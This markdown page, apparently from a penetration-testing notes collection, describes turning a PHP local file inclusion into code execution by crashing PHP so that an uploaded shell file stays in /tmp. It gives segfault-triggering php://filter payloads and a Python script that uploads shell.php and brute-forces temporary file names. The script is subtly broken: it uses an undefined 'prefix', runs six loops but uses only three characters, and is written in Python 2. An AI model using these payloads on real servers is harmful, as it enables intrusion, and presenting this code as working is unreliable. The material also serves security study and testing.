segmentation-fault.md

Segmentation Fault

Theory

If we send a POST request containing a file, PHP will create a temporary file in /tmp/php<something> with the contents of that file. This file will be automatically deleted once the request was processed.

If you find a LFI and you manage to trigger a segmentation fault in PHP, the temporary file will never be deleted. Therefore, you can search for it with the LFI vulnerability until you find it and execute arbitrary code.

{% hint style="info" %} This method require a PHP 7.0 or PHP 7.2 version {% endhint %}

Practice

Following payloads caused a segmentation fault in PHP:

// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

We can use the following python exploit :

# upload file with segmentation fault
# create the shell.php file to upload before
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('shell.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
    for i in charset:
        for j in charset:
            for k in charset:
                for l in charset:
                    for m in charset:
                        for n in charset:
                            filename = prefix + i + j + k
                            url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
                            print url
                            response = requests.get(url)
                            if 'spyd3r' in response.content:
                                print "[+] Include success!"
                                return True


def main():
    bruteforce(charset)

if __name__ == "__main__":
    main()

Resources

{% embed url="https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault" %}